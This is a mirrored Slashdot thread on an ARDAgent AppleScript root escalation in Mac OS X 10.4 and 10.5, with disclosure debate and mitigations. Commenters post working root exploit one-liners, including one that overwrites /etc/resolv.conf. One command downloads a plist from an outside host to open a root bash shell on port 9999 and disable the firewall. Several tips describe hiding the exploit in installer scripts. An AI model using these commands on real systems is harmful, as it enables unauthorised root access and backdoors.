Slashdot Mirror


Mac OS X Root Escalation Through AppleScript

An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

87 of 359 comments (clear)

  1. ARDAgent is Apple Remote Desktop by dch24 · · Score: 5, Informative

    ARD = Apple Remote Desktop You can remove it by following these instructions.

    1. Re:ARDAgent is Apple Remote Desktop by palegray.net · · Score: 3, Insightful

      BTW, let's all thank Timothy, Pudge, and the rest of the /. gang for ensuring a fresh crop of zombie spambots, shall we? What happened to common courtesy? I thought etiquette dictated giving the manufacturer a heads up and a little time to fix their shit. I guess the ad dollars and attention whoring was just too much too resist. Enjoy your blood money fellas, the internet will suck just a little bit more thanks to you guys. Seeing as how your username is "MacDork" I've just gotta ask: would you feel the same way if this article described a Windows exploit?

      Also, who says Apple wasn't notified of this problem in advance? I'm not saying they were or weren't, but I don't have data either way. This is the same community that loves to lambast Microsoft for their security issues (rightly so, in most cases), but fully supports immediate disclosure of exploits before patches are released by Microsoft (although MS has taken forever to fix many problems). As a network admin, I'm a fan of full disclosure, which gives the ability to do something about the issue until a patch is released. Others see things differently.
    2. Re:ARDAgent is Apple Remote Desktop by Anonymous Coward · · Score: 2, Insightful

      huge difference between being notified on a security mailing list and having the information plastered on the front page of slashdot

      Black hats read security mailing lists. Keeping it off Slashdot only hinders innocent users from taking precautions against the defect.

  2. Physical access? by Menkhaf · · Score: 3, Insightful

    Could somebody explain how running a script requires physical access?

    --
    A proud member of the Onion-in-Hand alliance
    1. Re:Physical access? by Medieval_Gnome · · Score: 5, Informative

      This does not work over ssh, at least not if you user isn't also logged in physically to the machine. If you try over ssh, it gives the error

      _RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

      However, it does work if you have a remote desktop view into a machine.

      --

      :wq

    2. Re:Physical access? by Medieval_Gnome · · Score: 2, Insightful

      Try sshing into a machine where your user isn't currently logged in, or running the exploit as a different user. As best I can tell, it doesn't work in the case where the user running the command isn't the user who is graphically logged in.

      --

      :wq

    3. Re:Physical access? by pudge · · Score: 4, Informative

      The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc.

    4. Re:Physical access? by Anonymous Coward · · Score: 4, Insightful

      You don't need any sort of remote login, all you need is a client (web browser, Quicktime, Flash, etc.) buffer overflow that you can use to start a shell...

    5. Re:Physical access? by MyDixieWrecked · · Score: 2, Interesting

      I just SSHed to my laptop and succesfully tested the above command.

      I can't seem to get this to work. Not only does Applescript tell me that ARDAgent is not scriptable (when I tried to open it's scripting library: /System/Library/CoreServices/RemoteManagement/ARDAgent.app), but it also spit back this error:

      ARDAgent got an error: "whoami" doesn't understand the do shell script message.

      running the script on the commandline returns this:

      spikedesktop:Library spike$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
      23:47: execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)


      I'm running OSX 10.5.3 Intel.

      --



      ...spike
      Ewwwwww, coconut...
    6. Re:Physical access? by pudge · · Score: 4, Informative

      A terminal isn't enough? Correct.
    7. Re:Physical access? by MyDixieWrecked · · Score: 4, Interesting

      Actually... interesting.

      I wasn't switched to via fastuserswitching, but I do lock my screen. that seems to have an impact on it, too.

      I ssh'd into my box at home and running this was successful.

      fwiw, osascript doesn't work if the user isn't logged into aqua. I've tried writing volume controller scripts and I tried scripting Unison and other applications and they don't work if you're not logged in physically at the machine.

      So basically, an exploit would need to be fired by the user or by something the user did (ie: surf to a website).

      This is interesting.

      --



      ...spike
      Ewwwwww, coconut...
    8. Re:Physical access? by tverbeek · · Score: 4, Informative

      A remote terminal session doesn't get you access to the OS X GUI, which is where AppleScript is found.

      --
      http://alternatives.rzero.com/
    9. Re:Physical access? by Firehed · · Score: 4, Informative

      True. But presumably you could write the script in any of the command-line editors and save it to the desktop or something, at which point the user could click on it.

      Not that it matters. If you have that level of access, you're already in a position to do more damage than what you could do through this exploit, by the sounds of it.

      --
      How are sites slashdotted when nobody reads TFAs?
    10. Re:Physical access? by Jasin+Natael · · Score: 4, Informative

      The user wouldn't need to do anything. If you log in via SSH as a limited user, you could (theoretically) use OS X's "open" command to launch the file as if it was clicked, from anywhere in the filesystem. The catch is that your SSH login must be the current user of the Window Server (locally logged-in).

      --
      True science means that when you re-evaluate the evidence, you re-evaluate your faith.
    11. Re:Physical access? by Tokerat · · Score: 3, Interesting

      I'm going to burn some mod points and ask why this isn't possible if you SSH into an OS X box. It's fair to link to an explanation if I've missed something, and no, this is not typical sarcastic geek doubt, I'd genuinely like to know.

      --
      CAn'T CompreHend SARcaSm?
    12. Re:Physical access? by pudge · · Score: 2, Informative

      No, again, you need the account you're using to be logged into the console, one way or another. If you are logged in as "gandalf" on the console, then you can run this script as "gandalf" over ssh, but not as "frodo."

      Of course, you can run it as "root" over ssh, but that kinda defeats the purpose!

    13. Re:Physical access? by Sentry21 · · Score: 2, Informative

      Unless the user that you're logged in as is also logged in physically, in which case you can access WindowServer and thus ARDAgent will do its thing.

    14. Re:Physical access? by DiLLeMaN · · Score: 2, Informative

      Mini:~ max$ ssh max@emac.local
      Password:
      Last login: Thu Jun 19 03:37:58 2008
      eMac:~ max$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
      root

      Come again? Even though the eMac is sitting right next to the mini, there's no VNC or other screen sharing running. Screen sharing IS switched on, though. If I switch it off, the exploit still works. Remote management is switched off the entire time.
      --
      /var/run/twitter.sock is a twitter socket puppet.
  3. Physical access? Have you heard of malware? by jeffmeden · · Score: 5, Insightful

    On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out. Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities (also known as 'standard procedure' in the Windows community). What makes this exploit so useless, given that all the perpetrator has to do is send it out to enough people hoping just a few will run it?

    It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.
  4. Re:ARDagent by Medieval_Gnome · · Score: 4, Informative

    I might be misinterpreting you, so I apologize if I am. However, it sounds like you're saying that in order to have this code work, "Screen Sharing" needs to be enabled in the Sharing preferences. This is not true.

    Even as a normal user on my mac, the exploit code works.

    --

    :wq

  5. It's the same marketing mistake as Microsoft. by pandrijeczko · · Score: 5, Insightful
    Yes, I fully accept that an exploit requiring physical access to a machine is a much lower security risk than one that can be carried out from a remote location.

    But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.

    And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.

    So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.

    --
    Gentoo Linux - another day, another USE flag.
    1. Re:It's the same marketing mistake as Microsoft. by Colonel+Fahlt · · Score: 2, Insightful

      (Not to mention we might not be talking about "poor unwitting users", we might be talking about a user in a business context who's not supposed to have root privileges but can suddenly grant themselves the ability to do things they're not supposed to. What's that statistic about security breaches from the inside of a company?)

  6. Re:Only need a shell.... by pudge · · Score: 5, Informative

    Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.


    Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)

    Nope. You cannot do it via SSH unless that account is already logged in physically, at the console.

    [pudge@bourque ~]$ ls -l /etc/test1
    ls: /etc/test1: No such file or directory
    [pudge@bourque ~]$ touch /etc/test1
    touch: /etc/test1: Permission denied
    [pudge@bourque ~]$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test1"'
    [pudge@bourque ~]$ ls -l /etc/test1
    -rw-rw-rw- 1 root wheel 0 Jun 18 11:27 /etc/test1
    versus:

    [pudge@bourque ~]$ ssh maintenance@localhost
    bourque:~ maintenance$ ls -l /etc/test2
    ls: /etc/test2: No such file or directory
    bourque:~ maintenance$ touch /etc/test2
    touch: /etc/test2: Permission denied
    bourque:~ maintenance$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test2"'
    _RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
  7. MOD PARENT DOWN by Moridineas · · Score: 4, Informative

    Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.

  8. Re:Can we get some sources? by Anonymous Coward · · Score: 5, Funny

    who needs a source, it works. tried on my mac, output is: root

    so i tried replacing "whoami" with "rm -rf /" and

    !@#ca$a%H&(
    +++NO CARRIER

  9. not a full exploit, yet by rritterson · · Score: 2, Informative

    Okay, so I tested it and the whoami returns 'root'.

    However, I also logged out of my account and into an account that has no permissions to access my regular home directory (normally I log in with short name "me"), then ran:

    osascript -e 'tell app "ARDAgent" to do shell script "touch /Users/me/Downloads/test.txt"'

    It doesn't do anything for a long time, and then returns

    execution error: ARDAgent got an error: AppleEvent timed out. (-1712)


    Same thing happens if I bundle the command into a sh file and try to execute that instead. I am not a hacker, but it would seem, at least at first glance, that ARDAgent is not entirely privileged.

    --
    -Ryan
    AUWYHSTOT (Acronyms are Useless When You Have to Spell Them Out Too)
    1. Re:not a full exploit, yet by rritterson · · Score: 4, Informative

      Actually, the above only occurs as I had 'su'ed to another user, then ran the above command. If, instead of using su I simply try to touch a file in the second account, it works just fine. So I retract the above.

      --
      -Ryan
      AUWYHSTOT (Acronyms are Useless When You Have to Spell Them Out Too)
  10. Re:ARDagent by Barrie_rdv · · Score: 2, Informative

    Not really, I didn't turn on Remote Desktop Sharing, but I get the same output...

  11. This is a serious privilege escalation bug, but... by argent · · Score: 5, Insightful

    First, yes, this is a serious bug. It's a classic blunder, like getting into a land war in Asia, and is similar to the in NT3.51's scheduler to get LOCALSYSTEM rights, or the one in /bin/write in 2BSD to get a root shell.

    It's also easy to fix.

    And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.

    THe thing is, it's not true that "one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy". It's not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista's jail around IE, and whatever APple does along those lines.

    Security is like sex. Once you're penetrated you're ****ed.

    The biggest advantage that Apple has is that Safari doesn't (any more) have a mechanism (at least not by default) to blithely execute outside a *closed* sandbox (not a leaky one) any random malware that can convince it that it's safe and trusted. That's the biggest security problem Windows has. ActiveX and all its kin. It's harder to penetrate OS X in the first place... you pretty much have to depend on social engineering... and people CAN learn not to be social-engineered.

  12. Yes, but does it run on Linux^H^H^H^H^H by davidwr · · Score: 2, Funny

    Yes, but does it run on Linux^H^H^H^H^Hcoffee-makers?

    --
    Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
  13. Re:This is a serious privilege escalation bug, but by Bert64 · · Score: 4, Interesting

    No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.

    --
    http://spamdecoy.net - free throwaway anonymous email - avoid spam!
  14. Re:Physical access? Have you heard of malware? by Goaway · · Score: 3, Insightful

    Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities No, it does not. Most malware doesn't need root to do most of the things it wants to do. Having root opens up some more possibilities, but it is by now means required.
  15. Re:Only need a shell.... by t-maxx+cowboy · · Score: 2, Informative

    I have confirmed the above assessment by 'pudge', that in order for the exploit to work, an account that is logged into the console, needs to be utilized from an SSH connection.

    Tested it my self remotely.

    --
    Regards,

    Ryan Pritchard
    Fun Extends All Basic Life Expectancies
  16. Re:Insecure root-owned binaries on unix? by Charles+Dodgeson · · Score: 3, Informative

    That's it:

    % ls -l /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
    -rwsr-xr-x 1 root wheel 1439952 Nov 15 2007 ARDAgent

    Time to run find(1) to see if there are any other things like this.

    And, I should say, as a so-call Apple fanboy, I am deeply embarrassed. It's been decades that people have known to watch out for stuff like this.

    --
    Prime numbers are exactly what Alan Greenspan says they are -S. Minsky
  17. Re:ARDagent by generica1 · · Score: 4, Interesting

    My apologies. There was no article sourced in the posting and I couldn't recreate the exploit on any of the Macs in my house via SSH *or* with local physical access via Terminal.app. I kept getting:

    23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

    No matter whether I tried ssh from remote, or local console bash.

    Tested on a MacBook Pro running 10.5.3, an iBook running 10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build).

    So....YMMV....

    --
    JUMP JUMP JUMP JUMP JUMP JUMP JUMP JUMP IRRIGATE
  18. Re:This is a serious privilege escalation bug, but by Applekid · · Score: 5, Funny

    . . . It's a classic blunder, like getting into a land war in Asia . . . 99 44/100 percent . . . Security is like sex. Once you're penetrated you're ****ed. You are now my new favorite poster.
    --
    More Twoson than Cupertino
  19. Proof of Concept Possibilities by AgentOJ · · Score: 4, Insightful

    This code could easily be wrapped into the preflight scripts for an Installer package in OS X, or integrated into any piece of malware to escalate itself to root without any user interaction beyond downloading it and launching it. In this sense, the arguments against the DNSChanger Trojan Horse of "it requires an admin password to be installed" becomes null and void. This is fairly serious, folks. One-click privilege escalation is way too easy for script-kiddies and professional malware distributers alike to integrate into their nasty programs.

  20. Re:This is a serious privilege escalation bug, but by smitty97 · · Score: 2, Funny

    And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.

    I found another privelege escalation!

    $ su
    Password:
    #

    --
    mod me funny
  21. Re:I confirmed it to. by Gewalt · · Score: 4, Funny

    My IQ is 162 and I didn't get your joke. Just how smart do you have to be to get that one?

    --
    Modding Trolls +1 inciteful since 1999
  22. Re:Only need a shell.... by That's+What+She+Said · · Score: 2, Interesting

    I tried some variations, but I still think this bug is serious enoguh that Apple should do something ASAP!

    I tried substituting the "whoami" part for some other command, just like pudge did with "touch", and it worked...

    I was thinking how someone could fool a user to execute these commands, but I didn't have success with other variantions.

    A simple AppleScript like this won't work:

    tell appplication "ARDAgent" to do shell script "touch /etc/whatever"

    As stated by others, it won't work through ssh, but it wouldn't be wise to use ssh to attack a machine, anyways...

    So, I think that the only way this will work is through a shell script. An easy trick:

    1. Just create some stupid application that people would want to try and install and that looks unsuspicious;

    2. Create an installation package, so it looks safe. In this package, use a script for "post-install work" that does whatever you want;

    3. Put it up on the web or send through e-mail to your target and wait for them to execute the installer;

    4. ???

    5. Profit? Well, not necessarily, but...

    Since the script will be quite well hidden in the installation package, the user will not suspect the nasty stuff going on in his/her system.

    You can, for instance, edit sharing preferences, create a user, or just wreak havoc by deleting some essential system file. The sky is the limit...

  23. Re:Quick Question by Charles+Dodgeson · · Score: 5, Informative

    I've got it to run destructive things as an ordinary user without any need for authentication beyond being logged in

    % osascript -e 'tell app "ARDAgent" to do shell script "echo Nasty Content > /etc/resolv.conf"' % cat /etc/resolv.conf
    Nasty Content
    --
    Prime numbers are exactly what Alan Greenspan says they are -S. Minsky
  24. One more, maybe. by bill_mcgonigle · · Score: 3, Informative
    Time to run find(1) to see if there are any other things like this.

    Assumptions:
    AppleScripting is only applicable to .app's
    "do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.

    Results:

    %sudo find /System/ -type f -ls | grep ' -rws' | grep MacOS | grep '\.app'
    365120 2864 -rwsr-xr-x 1 root wheel 1463076 Oct 17 2007 /System//Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
    376733 120 -rws--x--x 1 root daemon 61076 Jul 11 2007 /System//Library/Filesystems/AppleShare/check_afp.app/Contents/MacOS/check_afp
    Now, I have one of the machines where this exploit isn't working:

    %osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
    23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
    So, somebody out there who can get it to work, see if:

    %osascript -e 'tell app "check_afp" to do shell script "whoami"'
    works or not. That might need full pathing, I'm not sure.
    --
    My God, it's Full of Source!
    OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  25. Re:I confirmed it to. by Poltras · · Score: 3, Funny

    You have to have a UID lower than your own IQ, or the IQ of the poster. At least that's what I was told.

  26. The exploits - they do nothing! by Lars+T. · · Score: 2, Informative

    After about 20 seconds waiting:
    23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
    I'm so not impressed.

    --

    Lars T.

    To the guy who modded me down from perfect to terrible Karma - Apple haters still suck

  27. Intellectual Honesty by JeffSpudrinski · · Score: 5, Interesting

    Firstly, I want to say I'm impressed.

    I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.

    I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
    I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).

    There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.

    This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).

    Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.

    There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).

    I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.

    Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.

    p.s. I love the "security is like sex" comment above. Well put.

  28. Re:ARDagent by Sentry21 · · Score: 5, Interesting
    Disconfirmed - I don't have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.

    dan@Geelong:~$ ls -lh /etc/somefile
    ls: /etc/somefile: No such file or directory
    dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/somefile"'
    dan@Geelong:~$ ls -lh /etc/somefile
    -rw-rw-rw- 1 root wheel 0B Jun 18 14:16 /etc/somefile
    dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm /etc/somefile"'
    dan@Geelong:~$ ls -lh /etc/somefile
    ls: /etc/somefile: No such file or directory
    So, how dangerous is this? Here's an example:

    osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl "'

    This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.

    To remove, run 'launchctl unload com.apple.bash' 'launchctl unload /System/Library/LaunchDaemons/bash.plist' and then 'rm /System/Library/LaunchDaemons/bash.plist'

    It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.

    So yeah; anything can be downloaded, and anything can be done with it. Scary.
  29. Re:This is a serious privilege escalation bug, but by argent · · Score: 3, Insightful

    No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.

    Unfortunately KDE, Qt, X11, Gtk, Gnome, and the whole "let's make Linux into Windows" desktop hodgepodge that's layered on top of UNIX[1] is incredibly complex, has many components running with elevated privileges, and while it has fewer exploitation vectors than Windows it's conceptually more complex than the NeXTstep-derived equivalents in OS X.

    And on top of that, many linux distros have resurrected the absolutely insane concept of Autorun CDs, something Apple was smart enough to abandon back in the dark ages of floppy distribution.

    So, all in all, "do not be so proud of this technological terror". I'd go on, but I've got work to do. :)

    [1] No, X11 is not really a UNIX API, it was designed to be platform independent, ran on UNIX and VMS from the start, and completely ignores many of the fundamental design goals of UNIX as well as many of the most useful *results* of those design goals.

  30. It's easier than that.. by theolein · · Score: 3, Informative

    Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.

    It's almost like Anna_Kournikova.jpg.vbs all over again.

    1. Re:It's easier than that.. by pudge · · Score: 2, Insightful

      Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app. Right. It is yet another possible Trojan Horse vector. Most of us here are hard to trick into this, but most users at large are not.
    2. Re:It's easier than that.. by That's+What+She+Said · · Score: 2, Interesting

      I tried to take out the "osascript -e" part (and the single quotes too), create an AppleScriptand save as a compiled application. It doesn't work.

      I just tried a more sophisticated trick:

      tell application "Terminal"
              do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"touch /etc/test\"'"
      end tell


      This works! Double click the app and the file test will be created on /etc.

      The only downside to this (for the attacker) is that a Terminal window opens and the user can see the commands. If you use the preflight script trick, the user will see nothing!

    3. Re:It's easier than that.. by That's+What+She+Said · · Score: 2, Funny

      That seems fair, but 1337 H4X0RZ D0 I7 WI7H 57YL3!

    4. Re:It's easier than that.. by theolein · · Score: 2, Insightful

      The real hole is not so much this script, since you need to get something running on a target machine, but the fact that Apple Mail will execute Mac friendly *.app attachments at all just by clicking on them.

  31. Recipe for neutralizing it by goombah99 · · Score: 5, Informative

    Here's a non-destructive way to neutralize it.

    cd /System/Library/CoreServices/RemoteManagement/

    sudo tar -czf ARDAgent.app.gz ARDAgent.app

    sudo chmod 600 ARDAgent.app.gz

    This simply hides it in an unreadable tarball.

    --
    Some drink at the fountain of knowledge. Others just gargle.
    1. Re:Recipe for neutralizing it by patrick42 · · Score: 5, Informative

      Or more simply:

      chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent

      After doing that, I get:

      patrick@picasso:~$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
      patrick

      (Repairing permissions will probably reset this though.)

    2. Re:Recipe for neutralizing it by Kadin2048 · · Score: 5, Informative

      No, GP was correct. On Mac OS X, ".app" means an application bundle ... which is a directory, not a file.

      If you try to gzip an application bundle without putting it in a tarball first, you'll just get a "foo.app/ is a directory; ignored" error.

      It's confusing because the Finder doesn't treat application bundles like normal directories, but that's what they are to the filesystem and *nix utilities.

      --
      "Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
    3. Re:Recipe for neutralizing it by djw · · Score: 3, Informative

      Don't forget to delete the original afterwards: sudo rm -rf ARDAgent.app

    4. Re:Recipe for neutralizing it by eikonos · · Score: 5, Funny

      Why use sudo when you could just use the ARDAgent hack instead?
      osascript -e 'tell app "ARDAgent" to do shell script "gzip ARDAgent.app"';

    5. Re:Recipe for neutralizing it by aetherworld · · Score: 5, Funny

      Nononono....

      it's: osascript -e 'tell app "ARDAgent" to do shell script "rm -rf ARDAgent.app"';

    6. Re:Recipe for neutralizing it by mollymoo · · Score: 2, Informative

      Not sure if you can edit the database manually, but it looks like pkgutil's --edit-pkg and --learn options might do the trick to update the package receipts Repair Permissions uses.

      Does ARD continue to work after you've changed the permissions? If it doesn't you might as well just remove it.

      --
      Chernobyl 'not a wildlife haven' - BBC News
  32. Re:ARDagent by Kadin2048 · · Score: 4, Informative

    I don't think the GP was saying that you need to have Screen Sharing enabled for the exploit to work at all; you need to have Screen Sharing turned on for someone to run the exploit without physical access to the machine.

    I.e., you can't run it over an SSH session; you need the Finder. The only ways to get access to the Finder are either physically, by sitting down in front of the computer, or by using a screen-sharing application like Screen Sharing (Remote Desktop), or VNC.

    That was my understanding, at least.

    The exploit works, if you have physical access to the machine, regardless of whether you have Screen Sharing enabled or not. However, it's when you have Screen Sharing turned on that it's possibly a remote root to anyone you let access your screen.

    It's a bad vulnerability and one that I'd like to see Apple fix ASAP, but it's several steps down from a true unprivileged remote root. It might have negative consequences for shared and lab machines, but for most home and office users it doesn't seem like it means much, unless you typically allow lots of people remote-desktop/VNC access.

    --
    "Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
  33. Physical Access Excuse? by TheNetAvenger · · Score: 5, Insightful

    On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

    What about non personal deployments?

    Like corporate installations?
    Kiosk installations?
    Any small business that wants to secure a machine?
    How about a class room that you want kiddies to run games but not wipe the OS?

    Physical access MEANS if they can access the hardware (inside the case). It DOES NOT mean typing something on the freaking keyboard, when logged in as a low level user.

    In the IT world you password lock boot media, lock cases,etc. If an IT person can't secure a machine without removing the keyboard, there MIGHT be a security problem.

    (SlashDot Editors? WTF?)

  34. Re:Can we get some sources? by Whiney+Mac+Fanboy · · Score: 2, Insightful

    It's a submission from an anonymous user that doesn't cite any sources. That's pretty shoddy, even by Slashdot standards.

    Are you really so lazy that you need a source for something so trivially replicated?

    --
    There are shills on slashdot. Apparently, I'm one of them.
  35. What's the harm of this? by commodoresloat · · Score: 4, Funny

    Is it really bad for an attacker to find out who I am using this "whoami" thingy?

  36. Re:This is a serious privilege escalation bug, but by AndrewNeo · · Score: 2, Funny

    Mine's even worse than yours!
    $ sudo su
    #

  37. Re:Oh good by Free+the+Cowards · · Score: 4, Funny

    Sarcasm does not make you more handsome or bring you favor with the ladies.

    --
    If you mod me Overrated, you are admitting that you have no penis.
  38. Re:Root Account Disabled by Default on Macs by That's+What+She+Said · · Score: 2, Informative

    So, can someone explain to me how an exploit can get root of there's no root account?

    Simple: the root account exists by default. It's not accessible and you can't log-in with it by default. But it's there.
  39. Re:Oh good by robfoo · · Score: 5, Funny

    Yeah, right.

  40. Re:This is a serious privilege escalation bug, but by argent · · Score: 4, Interesting
    KDE opens a dialog and asks you if you want the CD to be mounted

    I call those "Should I do something stupid" dialogs.

    Given that:

    * The answer should almost always be "no".
    * It's less hassle if it doesn't ask, just doesn't do it.
    * Users get trained to answer "yes", because they keep getting them.

    Any time you're putting up "Should I do something stupid" dialogs, you're making things easy for people who are trying to use social engineering to install malware.

    Here's the history of Apple's experiment with stupid security dialogs in Safari:

    http://scarydevil.com/~peter/io/osx-security.html
    http://scarydevil.com/~peter/io/apple.html
    http://scarydevil.com/~peter/io/apple3.html
    http://scarydevil.com/~peter/io/apple4.html

    They finally wised up, and removed the "doing something really stupid" bit, by turning off "open Safe files" by default.

    Microsoft's been in denial about the same thing since 1997.

    http://scarydevil.com/~peter/io/airlines.html

    Windows Airlines:
    The terminal is very neat and clean, with security barriers every few meters. The attendants are attractive, even if it's kind of creepy how much they want to "help" (especially in the restrooms). The pilots are allegedly very capable, though nobody ever sees them and there's an armed guard by the cockpit door. The fleet of jets it operates are immense. Your jet takes off without a hitch, pushing above the clouds, and at 20,000 feet a message pops up on the seat back in front of you asking "Should this plane explode now?".

    Some idiot always answers "Yes".


    Windows is so much worse than everyone else that people tend to ignore it when Apple or KDE does something slightly less stupid than ActiveX, but it's still stupid, and putting up a "should this plane explode now?" dialog doesn't eliminate the stupidity.
  41. Apple's Knowledge Base reports this is 'safe' by AEton · · Score: 4, Informative
    Item TS1448 in the Apple support knowledge base addresses this issue and is dated June 6, 2008. The issue was reported by users as early as October.

    Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...

    Apple's reported fix, and I am not making this up:

    The resolution:
    You can safely ignore these messages. They are accurate but not a cause for concern.

    The entire text below, in case Apple deletes it:
      Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files

            * Last Modified: June 06, 2008
            * Article: TS1448

            * Old Article: 306925

    Symptoms

    The following messages may appear in the Disk Utility log window when repairing disk permissions.

    Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.

